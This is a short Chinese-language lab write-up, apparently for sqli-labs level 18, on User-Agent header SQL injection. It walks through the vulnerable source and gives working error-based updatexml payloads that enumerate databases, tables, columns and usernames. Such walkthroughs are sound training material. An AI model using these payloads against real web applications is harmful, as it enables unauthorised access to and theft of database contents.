一、这关提示头部注入。先来看一下源码
1.又出现了check_input函数,说明又开始进行了输入的过滤,先来找找哪些变量用到了这个函数
2.这里发现uname和passwd都进行了过滤,所以不能作为注入点,需要找其他没有被过滤的注入点
3.$_SERVER是一个包含了头信息、路径等的数组,这里直接赋值了agent没有对数据进行检查,下一步就是要找到有没有数据库语句用到这个uagent变量
4.发现这里的插入语句用到了uagent,可以确定在此注入,并且是用单引号闭合
5.这里有有输出数据库错误信息,所以选择用报错注入
二、打开bp拦截,submit第18关,然后send to repeater。找到user-agent开始注入
三、先来测试一下
1.payload构建正确但是并没有显示错误信息
User-Agent: 'and updatexml(1,concat('^',database()),1) and '1'='1
2.看一下源码,发现是因为先用用户名和密码进行了select查询,所以在uagent注入时要给uname和passwd赋有效的值才能成功
3.现在再来测试一下,uname和passwd选择用admin,成功报错
四、爆所有数据库
User-Agent: 1 ' and updatexml(1,concat('^',(select schema_name from information_schema.schemata limit 0,1)),1) and '1'='1
#####这里有一点奇怪的是,如果不删原来user-agent的字符串,他就不会显示xpath信息;如果删除的话,又必须在单引号前加一个数字才能显示xpath信息
五、爆指定数据库所有表
User-Agent: 100 ' and updatexml(1,concat('^',(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1) and '1'='1
六、爆指定表所有列
User-Agent: 100 ' and updatexml(1,concat('^',(select column_name from information_schema.columns where table_name='users' limit 0,1)),1) and '1'='1
七、爆指定列所有数据
User-Agent: 100 ' and updatexml(1,concat('^',(select username from users limit 0,1)),1) and '1'='1
over~